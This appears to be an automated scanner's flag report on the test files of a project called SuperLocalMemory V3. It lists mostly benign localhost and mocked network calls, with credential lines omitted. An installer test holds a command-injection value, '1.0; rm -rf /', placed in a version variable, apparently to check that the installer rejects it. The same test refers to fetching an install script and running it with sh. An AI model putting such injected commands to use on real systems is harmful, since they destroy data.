for host in ("localhost", "127.0.0.1"): with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: with context.wrap_socket(raw, server_hostname=host) as tls: - Network accessline 70
with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: - Network accessline 74
with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: - Network accessline 78
with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: - Network accessline 103
server, thread, port = _serve_tls(str(cert_path), str(key_path)) try: with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: - Network accessline 104
try: with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: with pytest.raises(ssl.SSLCertVerificationError): - Network accessline 105
with socket.create_connection(("127.0.0.1", port), timeout=5) as raw: - Access to secretsline 137
[Credential-related source omitted]
tests/cli/test_token_show.py
tests/conftest.py
- Executable scriptline 1
Executable file
tests/core/test_canonical_mutation_runtime.py
- Executable scriptline 1
Executable file
tests/core/test_correction_during_delete.py
- Executable scriptline 1
Executable file
tests/core/test_deferred_admission_stop_bound.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/core/test_delete_refusal_race.py
- Executable scriptline 1
Executable file
tests/core/test_erase_redrive.py
- Executable scriptline 1
Executable file
tests/core/test_erase_redrive_every_profile.py
- Executable scriptline 1
Executable file
tests/core/test_erase_redrive_followups.py
- Executable scriptline 1
Executable file
tests/core/test_erasure_hardening.py
- Executable scriptline 1
Executable file
tests/core/test_erasure_integration.py
- Executable scriptline 1
Executable file
tests/core/test_erasure_integrity_units.py
- Executable scriptline 1
Executable file
tests/core/test_erasure_phase3_faults.py
- Executable scriptline 1
Executable file
tests/core/test_erasure_saga.py
- Executable scriptline 1
Executable file
tests/core/test_erasure_service.py
- Executable scriptline 1
Executable file
tests/core/test_generation_fence.py
- Executable scriptline 1
Executable file
tests/core/test_lancedb_detect_no_thread.py
tests/core/test_open_correction_lets_the_user_overtake.py
- Executable scriptline 1
Executable file
tests/core/test_orchestrator.py
- Executable scriptline 1
Executable file
tests/core/test_overtaken_cases.py
- Executable scriptline 1
Executable file
tests/core/test_overtaken_cases_edges.py
- Executable scriptline 1
Executable file
tests/core/test_p8_hardening.py
- Executable scriptline 1
Executable file
tests/core/test_phase3_governance.py
- Executable scriptline 1
Executable file
tests/core/test_projection_spine.py
- Executable scriptline 1
Executable file - Network accessline 155
ledger.record(conn, ctx, "vector", ObligationKind.APPLY) ledger.record(conn, ctx, "vector", ObligationKind.APPLY) obligations = ledger.fetch(conn, ctx.operation_id) - Network accessline 156
ledger.record(conn, ctx, "vector", ObligationKind.APPLY) obligations = ledger.fetch(conn, ctx.operation_id) assert len(obligations) == 1 - Network accessline 157
obligations = ledger.fetch(conn, ctx.operation_id) - Network accessline 168
ObligationState.VERIFIED, checksum="abc", bump_attempts=True, ) obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 169
) obligation = ledger.fetch(conn, ctx.operation_id)[0] assert obligation.state is ObligationState.VERIFIED - Network accessline 170
obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 199
assert manifest.all_met is False ledger = ObligationLedger() by_owner = {o.owner: o for o in ledger.fetch(conn, ctx.operation_id)} - Network accessline 200
ledger = ObligationLedger() by_owner = {o.owner: o for o in ledger.fetch(conn, ctx.operation_id)} assert by_owner["vector"].state is ObligationState.VERIFIED - Network accessline 201
by_owner = {o.owner: o for o in ledger.fetch(conn, ctx.operation_id)} - Network accessline 230
assert first.manifest_hash == second.manifest_hash ledger = ObligationLedger() obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 231
ledger = ObligationLedger() obligation = ledger.fetch(conn, ctx.operation_id)[0] assert obligation.attempts == 1 - Network accessline 232
obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 286
service.compensate(conn, ctx, "vector") ledger = ObligationLedger() obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 287
ledger = ObligationLedger() obligation = ledger.fetch(conn, ctx.operation_id)[0] assert obligation.state is ObligationState.COMPENSATED - Network accessline 288
obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 301
assert manifest.state is ManifestState.COMPLETE ledger = ObligationLedger() obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 302
ledger = ObligationLedger() obligation = ledger.fetch(conn, ctx.operation_id)[0] assert obligation.state is ObligationState.ERASED - Network accessline 303
obligation = ledger.fetch(conn, ctx.operation_id)[0] - Network accessline 387
) ledger.record(conn, final, "vector", ObligationKind.APPLY) obligations = ledger.fetch(conn, "op-d") - Network accessline 388
ledger.record(conn, final, "vector", ObligationKind.APPLY) obligations = ledger.fetch(conn, "op-d") assert len(obligations) == 1 - Network accessline 389
obligations = ledger.fetch(conn, "op-d") - Network accessline 462
manifest = service.run(conn, ctx) assert manifest.state is ManifestState.DEGRADED by_owner = {o.owner: o for o in ledger.fetch(conn, ctx.operation_id)} - Network accessline 463
assert manifest.state is ManifestState.DEGRADED by_owner = {o.owner: o for o in ledger.fetch(conn, ctx.operation_id)} assert by_owner["phantom"].state is ObligationState.FAILED - Network accessline 464
by_owner = {o.owner: o for o in ledger.fetch(conn, ctx.operation_id)}
tests/core/test_projection_spine_integration.py
- Executable scriptline 1
Executable file
tests/core/test_remember_admission.py
- Executable scriptline 1
Executable file
tests/core/test_remember_admission_handler.py
- Executable scriptline 1
Executable file
tests/core/test_remember_contention_accept.py
- Executable scriptline 1
Executable file
tests/core/test_remember_disk_failure_is_not_called_busy.py
- Executable scriptline 1
Executable file
tests/core/test_remember_runtime.py
- Executable scriptline 1
Executable file
tests/core/test_remember_save_path_reader.py
- Executable scriptline 1
Executable file
tests/core/test_remember_survives_a_stalled_process.py
- Executable scriptline 1
Executable file
tests/core/test_secret_scrub_http_ingress.py
- Executable scriptline 1
Executable file
tests/core/test_stale_delete_tombstone.py
- Executable scriptline 1
Executable file
tests/core/test_tier_manager.py
- Executable scriptline 1
Executable file
tests/core/test_warm_guard_embed.py
tests/daemon_descriptor_guard.py
tests/dev_metadata.py
- Executable scriptline 1
Executable file
tests/docs/__init__.py
- Executable scriptline 1
Executable file
tests/docs/test_distributed_deployment_env_vars_are_read.py
- Executable scriptline 1
Executable file
tests/docs/test_doc_anchors_resolve.py
- Executable scriptline 1
Executable file
tests/docs/test_optimize_config_reference.py
- Executable scriptline 1
Executable file
tests/docs/test_privacy_statements_name_the_jev_kind_egress.py
- Executable scriptline 1
Executable file
tests/docs/test_readme_wp13.py
tests/docs/test_security_doc_does_not_promise_an_unshipped_release.py
- Executable scriptline 1
Executable file
tests/e2e/test_every_mcp_tool_end_to_end.py
- Executable scriptline 1
Executable file - Access to secretsline 44
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 57
def free_port() -> int: while True: with socket.socket() as s: - Network accessline 58
while True: with socket.socket() as s: s.bind(("127.0.0.1", 0)) - Network accessline 59
with socket.socket() as s: - Access to secretsline 67
[Credential-related source omitted] - Network accessline 114
assert self.proc.poll() is None, self.log_tail() try: with urllib.request.urlopen(f"http://127.0.0.1:{self.port}/health", - Network accessline 115
try: with urllib.request.urlopen(f"http://127.0.0.1:{self.port}/health", timeout=3) as resp: - Network accessline 116
with urllib.request.urlopen(f"http://127.0.0.1:{self.port}/health",
tests/e2e/test_remote_two_daemons.py
- Executable scriptline 1
Executable file - Access to secretsline 39
[Credential-related source omitted] - Network accessline 44
def _free_port() -> int: while True: with socket.socket() as s: - Network accessline 45
while True: with socket.socket() as s: s.bind(("127.0.0.1", 0)) - Network accessline 46
with socket.socket() as s: - Access to secretsline 54
[Credential-related source omitted] - Network accessline 92
assert self.proc.poll() is None, self.log_tail() try: with urllib.request.urlopen(f"http://127.0.0.1:{self.port}/health", - Network accessline 93
try: with urllib.request.urlopen(f"http://127.0.0.1:{self.port}/health", timeout=3) as resp: - Network accessline 94
with urllib.request.urlopen(f"http://127.0.0.1:{self.port}/health", - Network accessline 197
ca = str(root / "s" / "data" / "remote" / "tls" / "ca.pem") yield {"s": s, "h": h, "key": key, "read_key": read_key, "ca": ca, "port": remote_port, "url": f"https://localhost:{remote_port}/mcp/hermes"} - Network accessline 198
yield {"s": s, "h": h, "key": key, "read_key": read_key, "ca": ca, "port": remote_port, "url": f"https://localhost:{remote_port}/mcp/hermes"} finally: - Network accessline 199
"port": remote_port, "url": f"https://localhost:{remote_port}/mcp/hermes"} - Network accessline 250
"print(json.dumps(h.DAEMON_URL))" ) env = {**pair["h"].env, "SLM_HOOK_DAEMON_URL": f"https://slm-remote.test:{pair['port']}"} - Network accessline 251
) env = {**pair["h"].env, "SLM_HOOK_DAEMON_URL": f"https://slm-remote.test:{pair['port']}"} out = subprocess.run([sys.executable, "-c", probe], env=env, capture_output=True, - Network accessline 252
env = {**pair["h"].env, "SLM_HOOK_DAEMON_URL": f"https://slm-remote.test:{pair['port']}"} - Network accessline 253
out = subprocess.run([sys.executable, "-c", probe], env=env, capture_output=True, text=True, timeout=60, check=True) assert json.loads(out.stdout.strip()) == f"http://127.0.0.1:{pair['h'].port}" - Network accessline 255
assert json.loads(out.stdout.strip()) == f"http://127.0.0.1:{pair['h'].port}" - Network accessline 258
[Credential-related source omitted] - Network accessline 259
request = urllib.request.Request(f"http://localhost:{pair['port']}/internal/prewarm", - Network accessline 261
[Credential-related source omitted] - Network accessline 262
with pytest.raises(Exception): urllib.request.urlopen(request, timeout=10) secure = urllib.request.Request(f"https://localhost:{pair['port']}/internal/prewarm", - Network accessline 263
urllib.request.urlopen(request, timeout=10) - Network accessline 264
secure = urllib.request.Request(f"https://localhost:{pair['port']}/internal/prewarm", - Network accessline 267
ctx = ssl.create_default_context(cafile=pair["ca"]) with pytest.raises(urllib.error.HTTPError) as err: urllib.request.urlopen(secure, timeout=10, context=ctx) - Network accessline 268
with pytest.raises(urllib.error.HTTPError) as err: urllib.request.urlopen(secure, timeout=10, context=ctx) assert err.value.code == 404 - Network accessline 269
urllib.request.urlopen(secure, timeout=10, context=ctx) - Network accessline 339
local = mcp_call(f"http://127.0.0.1:{pair['s'].port}/mcp/hermes", None, True, "get_status") - Network accessline 346
def _local_url(pair, agent: str = "claude") -> str: return f"http://127.0.0.1:{pair['s'].port}/mcp/{agent}" - Network accessline 347
return f"http://127.0.0.1:{pair['s'].port}/mcp/{agent}" - Network accessline 350
def _remote_url(pair, agent: str = "claude") -> str: return f"https://localhost:{pair['port']}/mcp/{agent}" - Network accessline 351
return f"https://localhost:{pair['port']}/mcp/{agent}" - Access to secretsline 365
[Credential-related source omitted] - Network accessline 477
ctx = ssl.create_default_context(cafile=pair["ca"]) request = urllib.request.Request(_remote_url(pair, "hermes"), method=method, headers={ - Network accessline 478
request = urllib.request.Request(_remote_url(pair, "hermes"), method=method, headers={ - Network accessline 480
started = time.monotonic() with pytest.raises(urllib.error.HTTPError) as err: urllib.request.urlopen(request, timeout=10, context=ctx) - Network accessline 481
with pytest.raises(urllib.error.HTTPError) as err: urllib.request.urlopen(request, timeout=10, context=ctx) assert err.value.code == 405 - Network accessline 482
urllib.request.urlopen(request, timeout=10, context=ctx)
tests/fixtures/__init__.py
- Executable scriptline 1
Executable file
tests/fixtures/answerability/generated/dev_nonsense.jsonl
- Network accessline 5
{"category": "word_salad", "expected": "abstain", "qid": "gd-n-word_salad-5", "question": "dozen oppress"} {"category": "word_salad", "expected": "abstain", "qid": "gd-n-word_salad-6", "question": "stitch kinfolk culturally soiled treason e - Network accessline 6
{"category": "word_salad", "expected": "abstain", "qid": "gd-n-word_salad-6", "question": "stitch kinfolk culturally soiled treason exit"} {"category": "word_salad", "expected": "abstain", "qid": "gd-n-word_salad-7", "question": "curl group - Network accessline 7
{"category": "word_salad", "expected": "abstain", "qid": "gd-n-word_salad-7", "question": "curl groupie"}
tests/fixtures/benchmark_data.py
- Executable scriptline 1
Executable file
tests/fixtures/lgb_mock.py
- Executable scriptline 1
Executable file
tests/fixtures/stub_llm_server.py
- Executable scriptline 1
Executable file - Network accessline 35
with StubLLMServer(reply_text="EXTRACTED") as stub: # stub.url -> "http://127.0.0.1:<port>" - Network accessline 36
# stub.url -> "http://127.0.0.1:<port>" - Network accessline 61
assert self._server is not None, "Server not started" host, port = self._server.server_address return f"http://{host}:{port}" - Network accessline 63
return f"http://{host}:{port}"
tests/graph/test_cozo_backend.py
- Executable scriptline 1
Executable file
tests/graph/test_cozo_client_adapter.py
- Executable scriptline 1
Executable file
tests/graph/test_cozo_remove_is_keyed.py
- Executable scriptline 1
Executable file
tests/helpers/doctor.py
- Executable scriptline 1
Executable file
tests/helpers/env_capabilities.py
- Executable scriptline 1
Executable file
tests/helpers/fake_embedding_worker.py
- Executable scriptline 1
Executable file
tests/helpers/hook_event_db.py
- Executable scriptline 1
Executable file
tests/helpers/native_guard.py
tests/helpers/owned_python.py
tests/helpers/seed_skill_events.py
- Executable scriptline 1
Executable file
tests/installers/test_get_slm.py
- Executable scriptline 1
Executable file - Network accessline 29
UV_URL = "https://astral.sh/uv/install.sh" UV_INSTALL_LINE = f"download {UV_URL}, then run it with sh" - Dangerous shell operationline 245
rig_with_uv.extra_env["SLM_VERSION"] = "1.0; rm -rf /" - Access to secretsline 401
[Credential-related source omitted] - Network accessline 469
def test_real_install_fetches_uv_when_missing(tmp_path: Path, capsys) -> None: if shutil.which("curl") is None: pytest.skip("curl is needed to fetch uv") - Network accessline 470
if shutil.which("curl") is None: pytest.skip("curl is needed to fetch uv") env = _real_env(tmp_path, "/usr/bin:/bin") # no uv on PATH - Network accessline 471
pytest.skip("curl is needed to fetch uv")
tests/installers/test_primary_install_journeys.py
- Executable scriptline 1
Executable file
tests/installers/test_unix_installer_contract.py
- Executable scriptline 1
Executable file
tests/integration/__init__.py
- Executable scriptline 1
Executable file
tests/integration/test_entity_compilation.py
- Executable scriptline 1
Executable file
tests/integration/test_health_monitor.py
- Executable scriptline 1
Executable file
tests/integration/test_ingestion.py
tests/integration/test_mesh.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_3c_e2e_p6c.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_advertise_p6b.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_http.py
- Executable scriptline 1
Executable file - Access to secretsline 120
[Credential-related source omitted] - Network accessline 240
async def run() -> bool: transport = httpx.ASGITransport(app=app) - Network accessline 241
transport = httpx.ASGITransport(app=app) - Network accessline 242
async with httpx.AsyncClient( - Network accessline 243
transport=transport, base_url="http://test"
tests/integration/test_mesh_lock_expiry.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_lock_protocol_p6c.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_node_identity_p6c.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_profile_isolation.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_security_p6a.py
- Executable scriptline 1
Executable file - Network accessline 698
monkeypatch.setenv("SLM_MESH_SHARED_SECRET", "mysecret") monkeypatch.setenv("SLM_MESH_PEER_URL", "http://127.0.0.1:9999") - Network accessline 699
monkeypatch.setenv("SLM_MESH_PEER_URL", "http://127.0.0.1:9999") - Network accessline 704
client = RemoteSyncClient(broker_mock) client._peer_url = "http://127.0.0.1:9999" - Network accessline 705
client._peer_url = "http://127.0.0.1:9999" - Access to secretsline 1027
[Credential-related source omitted]
tests/integration/test_mesh_state_sync_p6c.py
- Executable scriptline 1
Executable file
tests/integration/test_mesh_transport_p6b.py
- Executable scriptline 1
Executable file - Access to secretsline 95
[Credential-related source omitted] - Network accessline 119
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted] - Network accessline 120
[Credential-related source omitted] - Network accessline 121
"SLM_MESH_PEER_URL": "http://192.168.1.5:8765", - Network accessline 156
now = time.time() ob = RemoteOutbox(str(mesh_db)) ob.enqueue("http://peer:9000", "p1", {"msg": "hello"}, None, now=now) - Network accessline 157
ob = RemoteOutbox(str(mesh_db)) ob.enqueue("http://peer:9000", "p1", {"msg": "hello"}, None, now=now) assert _row_count(mesh_db) == 1 - Network accessline 158
ob.enqueue("http://peer:9000", "p1", {"msg": "hello"}, None, now=now) - Network accessline 172
with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post.side_effect = ( httpx.RequestError("connection refused") - Network accessline 173
mock_cls.return_value.__enter__.return_value.post.side_effect = ( httpx.RequestError("connection refused") ) - Network accessline 174
httpx.RequestError("connection refused") - Network accessline 185
mock_resp = MagicMock() mock_resp.raise_for_status.side_effect = httpx.HTTPStatusError( - Network accessline 186
mock_resp.raise_for_status.side_effect = httpx.HTTPStatusError( - Network accessline 229
def _prefill_row(self, mesh_db, peer_url="http://192.168.1.5:8765"): - Network accessline 263
with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post.side_effect = ( httpx.RequestError("still down") - Network accessline 264
mock_cls.return_value.__enter__.return_value.post.side_effect = ( httpx.RequestError("still down") ) - Network accessline 265
httpx.RequestError("still down") - Network accessline 278
far_future = time.time() + 3600 ob.enqueue( peer_url="http://192.168.1.5:8765", - Network accessline 279
ob.enqueue( peer_url="http://192.168.1.5:8765", to_peer="peer-1", - Network accessline 280
peer_url="http://192.168.1.5:8765", - Network accessline 342
(peer_url, to_peer, payload, headers, retry_count, next_retry_at, created_at, expires_at) VALUES (?, ?, ?, NULL, 0, ?, ?, ?)""", ("http://p:1", "x", '{"k":"v"}', expired_now, expired_now, expired_now - 1), - Network accessline 343
VALUES (?, ?, ?, NULL, 0, ?, ?, ?)""", ("http://p:1", "x", '{"k":"v"}', expired_now, expired_now, expired_now - 1), ) - Network accessline 344
("http://p:1", "x", '{"k":"v"}', expired_now, expired_now, expired_now - 1), - Network accessline 355
from superlocalmemory.mesh.outbox_remote import RemoteOutbox, _CAP_PER_PEER ob = RemoteOutbox(str(mesh_db)) peer = "http://peer-a:9000" - Network accessline 356
ob = RemoteOutbox(str(mesh_db)) peer = "http://peer-a:9000" now = time.time() - Network accessline 357
peer = "http://peer-a:9000" - Network accessline 388
ob = RemoteOutbox(str(mesh_db)) now = time.time() ob.enqueue("http://peer:1", "p1", {"msg": "doom"}, None, now=now) - Network accessline 389
now = time.time() ob.enqueue("http://peer:1", "p1", {"msg": "doom"}, None, now=now) assert _row_count(mesh_db) == 1 - Network accessline 390
ob.enqueue("http://peer:1", "p1", {"msg": "doom"}, None, now=now) - Network accessline 406
ob = RemoteOutbox(str(mesh_db)) now = time.time() ob.enqueue("http://peer:1", "p1", {"msg": "expire"}, None, now=now) - Network accessline 407
now = time.time() ob.enqueue("http://peer:1", "p1", {"msg": "expire"}, None, now=now) row = _first_row(mesh_db) - Network accessline 408
ob.enqueue("http://peer:1", "p1", {"msg": "expire"}, None, now=now) - Access to secretsline 428
[Credential-related source omitted] - Access to secretsline 432
[Credential-related source omitted] - Access to secretsline 445
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Network accessline 472
sync_client._peer_url = "https://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: - Access to secretsline 492
[Credential-related source omitted] - Network accessline 493
{"SLM_MESH_TLS_PIN": self._GOOD_PIN}, ): sync_client._peer_url = "https://192.168.1.5:8765" - Network accessline 494
): sync_client._peer_url = "https://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: - Network accessline 495
sync_client._peer_url = "https://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post.return_value = mock_resp - Access to secretsline 514
[Credential-related source omitted] - Network accessline 515
{"SLM_MESH_TLS_PIN": self._GOOD_PIN.upper()}, ): sync_client._peer_url = "https://192.168.1.5:8765" - Network accessline 516
): sync_client._peer_url = "https://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: - Network accessline 517
sync_client._peer_url = "https://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post.return_value = mock_resp - Network accessline 535
post_mock = MagicMock() with patch.dict("os.environ", {"SLM_MESH_TLS_PIN": self._BAD_PIN}): sync_client._peer_url = "http://192.168.1.5:8765" - Network accessline 536
[Credential-related source omitted] - Access to secretsline 536
[Credential-related source omitted] - Network accessline 537
sync_client._peer_url = "http://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post = post_mock - Network accessline 554
return_value=self._GOOD_PIN): with patch.dict("os.environ", {"SLM_MESH_TLS_PIN": self._BAD_PIN}): sync_client._peer_url = "https://192.168.1.5:8765" - Network accessline 555
[Credential-related source omitted] - Access to secretsline 555
[Credential-related source omitted] - Network accessline 556
sync_client._peer_url = "https://192.168.1.5:8765" with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post = post_mock - Network accessline 585
[Credential-related source omitted] - Access to secretsline 585
[Credential-related source omitted] - Network accessline 586
[Credential-related source omitted] - Network accessline 587
"SLM_MESH_PEER_URL": "http://192.168.1.5:8765", - Network accessline 615
"""Without SLM_MESH_TLS=on, mDNS-discovered peers use http://.""" - Access to secretsline 617
[Credential-related source omitted] - Network accessline 629
"""When SLM_MESH_TLS=on, mDNS-discovered peers use https://.""" - Access to secretsline 633
[Credential-related source omitted] - Network accessline 655
sync_client._peer_url = "https://192.168.1.5:8765" - Access to secretsline 659
[Credential-related source omitted] - Network accessline 673
with patch("superlocalmemory.mesh.remote_sync.httpx.Client") as mock_cls: mock_cls.return_value.__enter__.return_value.post.side_effect = ( httpx.RequestError("down") - Network accessline 674
mock_cls.return_value.__enter__.return_value.post.side_effect = ( httpx.RequestError("down") ) - Network accessline 675
httpx.RequestError("down")
tests/integration/test_remote_sync.py
- Executable scriptline 1
Executable file - Access to secretsline 60
[Credential-related source omitted] - Network accessline 70
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Network accessline 71
[Credential-related source omitted] - Network accessline 72
"SLM_MESH_PEER_URL": "http://192.168.1.100:8765", - Network accessline 75
): client = RemoteSyncClient(broker) assert client._peer_url == "http://192.168.1.100:8765" - Network accessline 76
[Credential-related source omitted] - Network accessline 77
assert client._peer_url == "http://192.168.1.100:8765" - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Network accessline 110
sync_client._peer_url = "http://mock:8765" - Network accessline 145
sync_client._peer_url = "http://mock:8765" - Network accessline 167
sync_client._peer_url = "http://mock:8765" - Network accessline 187
sync_client._peer_url = "http://mock:8765" - Network accessline 209
call_args = mock_client.return_value.__enter__.return_value.post.call_args assert "http://mock:8765/mesh/send" in str(call_args) - Network accessline 210
assert "http://mock:8765/mesh/send" in str(call_args) - Network accessline 215
sync_client._peer_url = "http://mock:8765" - Network accessline 242
sync_client._peer_url = "http://mock:8765" - Access to secretsline 284
[Credential-related source omitted] - Network accessline 288
client._update_peer_url("10.0.0.66", 8765) assert client._peer_url == "http://10.0.0.66:8765" - Network accessline 289
assert client._peer_url == "http://10.0.0.66:8765" - Access to secretsline 297
[Credential-related source omitted] - Network accessline 309
[Credential-related source omitted] - Access to secretsline 309
[Credential-related source omitted] - Network accessline 310
[Credential-related source omitted] - Network accessline 311
"SLM_MESH_PEER_URL": "http://192.168.1.5:8765"}, - Network accessline 315
client._update_peer_url("10.0.0.66", 8765) assert client._peer_url == "http://192.168.1.5:8765" - Network accessline 316
assert client._peer_url == "http://192.168.1.5:8765" - Network accessline 324
[Credential-related source omitted] - Access to secretsline 324
[Credential-related source omitted] - Network accessline 325
[Credential-related source omitted] - Network accessline 326
"SLM_MESH_PEER_URL": "http://192.168.1.5:8765"},
tests/integration/test_remote_sync_mdns.py
tests/integration/test_unified_daemon.py
- Executable scriptline 1
Executable file
tests/isolation_guard.py
tests/loops/__init__.py
- Executable scriptline 1
Executable file
tests/loops/hermetic_fixtures.py
- Executable scriptline 1
Executable file
tests/loops/test_check_output_privacy.py
- Executable scriptline 1
Executable file
tests/loops/test_check_process_ownership.py
tests/loops/test_check_serialization.py
- Executable scriptline 1
Executable file
tests/loops/test_engine.py
- Executable scriptline 1
Executable file
tests/loops/test_execution_guard.py
- Executable scriptline 1
Executable file
tests/loops/test_hermetic_contract.py
- Executable scriptline 1
Executable file
tests/loops/test_hermetic_paths.py
- Executable scriptline 1
Executable file
tests/loops/test_ledger.py
- Executable scriptline 1
Executable file
tests/loops/test_models.py
- Executable scriptline 1
Executable file
tests/loops/test_private_run_location.py
- Executable scriptline 1
Executable file
tests/loops/test_process_sweep_attribution.py
tests/loops/test_protocol.py
- Executable scriptline 1
Executable file
tests/loops/test_receipt_authentication.py
- Executable scriptline 1
Executable file
tests/loops/test_rules.py
- Executable scriptline 1
Executable file
tests/mcp/__init__.py
- Executable scriptline 1
Executable file
tests/mcp/test_a_profile_that_holds_memory_can_name_it.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_cli_fallback.py
- Executable scriptline 1
Executable file - Access to secretsline 30
[Credential-related source omitted] - Access to secretsline 524
[Credential-related source omitted] - Access to secretsline 532
[Credential-related source omitted] - Access to secretsline 533
[Credential-related source omitted] - Access to secretsline 549
[Credential-related source omitted] - Access to secretsline 550
[Credential-related source omitted]
tests/mcp/test_http_transport_resilience.py
tests/mcp/test_loop_adversarial_admission.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_documented_limits.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_escape_integrity.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_hermetic_probes.py
tests/mcp/test_loop_independent_receipts.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_pytest_config.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_receipt_races.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_receipt_replay.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_receipt_window.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_stop_reasons.py
- Executable scriptline 1
Executable file
tests/mcp/test_loop_tools.py
- Executable scriptline 1
Executable file
tests/mcp/test_mcp2_discover_and_client_e2e.py
- Executable scriptline 1
Executable file - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Network accessline 79
with TestClient(app, base_url="http://127.0.0.1:8765") as client: - Network accessline 211
probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - Network accessline 227
url = f"http://127.0.0.1:{port}/mcp"
tests/mcp/test_media_tools_listed_only_while_images_on.py
- Executable scriptline 1
Executable file
tests/mcp/test_no_writable_fallback.py
- Executable scriptline 1
Executable file
tests/mcp/test_profile_selector.py
tests/mcp/test_q9_compact_json_result.py
tests/mcp/test_recall_carries_the_relay_deadline.py
- Executable scriptline 1
Executable file
tests/mcp/test_recall_kind_proxy_and_cli.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_search_and_list_recent_kind_filter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_search_fetch_list_recent_unknown_profile.py
- Executable scriptline 1
Executable file
tests/mcp/test_session_init_prospective_surface.py
- Executable scriptline 1
Executable file
tests/mcp/test_session_init_standing_rules.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_session_project_rules.py
- Executable scriptline 1
Executable file
tests/mcp/test_tag_filter_tools.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_the_advertised_tool_count_is_the_real_one.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/mcp/test_the_dashboard_mcp_panel_states_the_real_tool_count.py
- Executable scriptline 1
Executable file
tests/mcp/test_the_loop_gate_asks_the_check_but_never_the_reorder.py
tests/mcp/test_the_mcp_loop_gate_never_pays_for_a_reorder.py
- Executable scriptline 1
Executable file
